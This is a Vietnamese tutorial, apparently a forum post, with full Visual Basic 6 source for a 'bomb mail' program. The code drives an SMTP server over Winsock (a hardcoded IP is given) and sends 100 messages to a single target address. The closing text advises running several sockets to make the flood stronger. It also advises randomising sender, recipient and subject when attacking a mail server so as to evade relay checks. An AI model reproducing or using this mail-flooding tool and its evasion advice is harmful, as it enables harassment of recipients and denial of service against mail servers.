Đề tài Làm chương trình bommail bằng VB

Làm chương trình bommail bằng VB Phần chuẩn bị đầu tiên của chương trình là: 1. Tất nhiên là phải mở Microsoft Visual Basic (tôi sử dụng phiên bản 6.0) 2. Tạo một Form mới (tôi đặt tên Form này là frmMain) 3. Vào trên thanh Menu -->Project -->Components-->đánh dấu chọn vào mục Microsoft Winsock Control 6.0, sao đó nhấn OK thoát ra và kéo nó vào trong frmMain (nó sẽ có tên mặt định là Winsock1, cứ để nó thế nếu bạn muốn đổi tên cho khác một tý thì phần source dưới đây bạn phải đổi tên các sub Event cho nó nha.) 4. Tạo một nút lệnh (command) và đặt tên nó là cmdBomb. 5. Tạo một label có tên là lblStatus thông báo trạng thái của tiến trình 6. nhấn phải ngay frmMain vào phần View Code và bắt đầu nhá. Và đây là đoạn code của chương trình tôi sẽ cố gắn chú thích trước mỗi đoạn code cho các bạn dễ nắm. '---------------------- 'Khai bao bien 'Bien kiem soat cau lenh goi di Dim strCaulenh As String 'Bien de nhan thong tin tu server goi ve Dim strData As String 'Bien de kiem soat so luong mail da goi di Dim intbomb As Integer 'Tao Function cau lenh connect vao smtp server va tra ve cho ham mot chuoi ky tu dai dien de de be kiem soat. Function clConnect(sckSend As Winsock, MailServerName As String) As String 'Kiem tra tinh trang cua sockket neu no o trang thai dong thi tien hanh ket noi If sckSend.State = sckClosed Then 'Thiet lap Protocol sckSend.Protocol = sckTCPProtocol 'Khai bao SMTP server se cho vao ham sckSend.RemoteHost = MailServerName 'Khai bao Cong ket noi thuong la cong 25 sckSend.RemotePort = 25 'Goi cau lenh ket noi sckSend.Connect 'Tra ve cho ham chuoi "Connect to" phan nay rat quan trong vi dung de kiem tra cung voi gia tri do server tra ve xem ket noi da OK hay chua.. ban se hieu ro muc dich cua phan nay. Day chinh la su khac biet ma toi da nghien cuu va so sanh voi cac source bomb mail tuong tu va toi nhan thay no rat hieu qua va don gian hon bat cu giai thuat nao khac. Moi ham sau day deu tra ve mot chuoi thong bao tuong tu clConnect = "Connect to" End If End Function 'Tao Function goi cau lenh "helo" toi server ban nen luu y la moi cuoi cau lenh deu co ky tu dai dien cho phim Enter. Function clHelo(sckSend As Winsock, txthello As String) As String sckSend.SendData ("helo " + txthello + vbCrLf) clHelo = "Helo" End Function 'Tao Function goi cau lenh "mail from:" co them bien dia chi mail nguoi goi Function clMailfrom(sckSend As Winsock, txtmailfrom As String) As String sckSend.SendData ("mail from: " + txtmailfrom + vbCrLf) clMailfrom = "Mail From" End Function 'Tao Function goi cau lenh "rcpt to: " co them bien dia chi mail nguoi nhan Function clRcptto(sckSend As Winsock, txtmailto As String) As String sckSend.SendData ("rcpt to: " + txtmailto + vbCrLf) clRcptto = "Rcpt To" End Function 'Tao Function goi cau lenh "data" cau lenh bat dau mot noi dung cua buc thu Function clData(sckSend As Winsock) As String sckSend.SendData ("data" + vbCrLf) clData = "Data" End Function 'Tao function goi noi dung buc thu va co ket thuc la dau enter+ dau . + enter Function clBody(sckSend As Winsock, strFromName As String, strToName As String, strSubject As String, strBody As String) As String 'khai bao cac bien tam theo thu tu Dim Fourth As String, Fifth As String, Sixth As String Dim Seventh As String, Eighth As String 'ai goi ?? Fourth = "From:" + Chr(32) + strFromName + vbCrLf 'Ai nhan ?? Fifth = "To:" + Chr(32) + strToName + vbCrLf 'Chu de buc thu Sixth = "Subject:" + Chr(32) + strSubject + vbCrLf 'noi dung buc thu Seventh = strBody + vbCrLf 'phan dau tien cua buc thu duoc goi truoc Eighth = Fourth + Fifth + Sixth 'goi di phan dau sckSend.SendData (Eighth + vbCrLf) 'goi tiep noi dung sckSend.SendData (Seventh + vbCrLf) 'ket thuc noi dung va goi thu di sckSend.SendData ("." + vbCrLf) clBody = "Body" End Function 'Tao ham thoat khoi server Function clQuit(sckSend As Winsock) As String sckSend.SendData ("quit" + vbCrLf) clQuit = "Quit" End Function 'va day la su kien khi nut lenh cmdBomb duoc click Private Sub cmdbomb_Click() lblStatus.Caption = "" 'hien thoi chua co mail nao duoc goi intbomb = 0 'Bay loi On Error GoTo thongbaoloi 'noi vao SMTP server co IP o day toi chon la 203.162.0.27 'Cac ban cung co the thay doi la "host name" hay IP address deu duoc ca. hoac co the xem chu thich 1 tai cuoi bai. strCaulenh = clConnect(Winsock1, "203.162.0.27") Exit Sub thongbaoloi: lblStatus.Caption = "Kiem tra ket noi cua ban" End Sub 'Day la phan quan trong nhat cua chuong trinh, cac ban nen nam ro sau nay co the dung thuat toan nay de phat trien khong chi la goi thu qua SMTP server ma con nhan thu tu Pop3 ... 'Nhung gi server tra thong bao ve se nam o day Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'lay du lieu tu server tra ve Winsock1.GetData strData 'bao ra nhan lblStatus.Caption = strData 'neu 3 ky tu dau cua chuoi ma server tra ve sau khi nhan 'duoc cau lenh connect co gia tri la "220" tuc la server da 'chap nhan ket noi thi thuc hien tiep cau lenh "helo" If (strCaulenh = "Connect to" And Left(strData, 3)= "220") Then 'xoa gia tri cho bien strCaulenh = "" strData = "" strCaulenh = clHelo(Winsock1, "hotmail.com") End If 'Tuong tu nhu tren neu moi viec dien ra tot dep thi goi tiep cau lenh "mail from: mail nguoi goi" co the xem them chu thich 2 cuoi bai. If (strCaulenh = "Helo" And Left(strData, 3) = "250") Then strCaulenh = "" strData = "" strCaulenh = clMailfrom(Winsock1, "mail nguoi goi") End If 'Lan luoc goi tiep cac cau lenh tiep theo voi dieu kien chuoi ky tu cua server tra ve hoan toan hop le If (strCaulenh = "Mail From" And Left(strData, 3) = "250") Then strCaulenh = "" strData = "" strCaulenh = clRcptto(Winsock1, "mail nguoi nhan") 'xem chu thich vuoi bai End If If (strCaulenh = "Rcpt To" And Left(strData, 3) = "250") Then strCaulenh = "" strData = "" strCaulenh = clData(Winsock1) End If If (strCaulenh = "Data" And Left(strData, 3) = "354") Then strCaulenh = "" strData = "" strCaulenh = clBody(Winsock1, "ten nguoi goi", "ten nguoi nhan", "chu de buc thu", "noi dung buc thu") End If If (strCaulenh = "Body" And Left(strData, 3) = "250") Then strCaulenh = "" strData = "" 'kiem tra neu so luong mail da goi du thu cham dut If intbomb >= 100 Then 'so luong mail can bom. xem chu thich ben duoi strCaulenh = clQuit(Winsock1) lblStatus.Caption = "Da bomb xong!" 'neu so luong mail chua du thi goi tiep Else intbomb = intbomb + 1 strCaulenh = clMailfrom(Winsock1, "ten nguoi goi") End If End If End Sub 'neu socket ket noi bi loi Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) lblStatus.Caption = "Kiem tra ket noi hoac SMTP server" Winsock1.Close End Sub '--------------------------- Thế là bạn đã viết được một chương trình bomb mail hoàn chỉnh rồi đó .. còn lại là công việc trang trí giao diện sao cho chương trình được đẹp mắt, nên thêm một số bẫy lỗi khi cần thiết để trách khi thực hiện chương trình bị hư dột suất vì nhiều lý do về mạng. Những mục mà tôi đề nghị các bạn xem phần chú thích bên dưới này là những mục không quan trọng nhưng bạn nên thêm vào chương trình cho người sử dụng linh động trong việc cho vào địa chỉ mail người gởi, địa chỉ mail nguời nhận, tên người gởi, tên người nhận, số lượng mail cần dội bomb. và SMTP server nữa. Bạn nên tạo những textbox cho ngưòi sủ dụng nhập những thông số kia vào tôi ví dụ (txtmailfrom --> thay thế "mail nguoi goi", txtmailto --> "mail nguoi nhan", txtnumbermail ---> thay thế cho số 100 mail cần gởi, txtMailserver -> dia chỉ của SMTP server, txtFromname -> "ten nguoi goi", txtToName-->"ten nguoi nhan", txtSubject-> chủ đề bức thư, txtBody->Nội dung bức thư, cho người sử dụng tự ý nhập vào và bạn đường quên một điều là phải kiểm tra xem dữ liệu người sử dụng đưa vào có hợp lệ hay không (chẳng hạn dịa chỉ mail có đúng chuẩn là địa chỉ mail hay không ... .) để hạn chế lỗi có thể xuất hiện vì dữ liệu nhập vào không đúng. Tôi nghĩ công việc đó quá đơn giản phải không các bạn. Một điều nữa là các bạn có thể kết hợp nhiều winsock để quá trình mail đuợc nhanh hơn, mạnh hơn, đó là phần của các bạn. Và nên nhớ một điều là nêu muốn tấn công một server mail nào đó thì nên cho phần địa chỉ người gởi một cách ngẫu nhiên người nhận một cách ngẫu nhiên và chủ đề một cách ngẫu nhiên để tránh tình trạng relay của server. Mong các bạn thích chương trình này và hãy tự mình khám phá.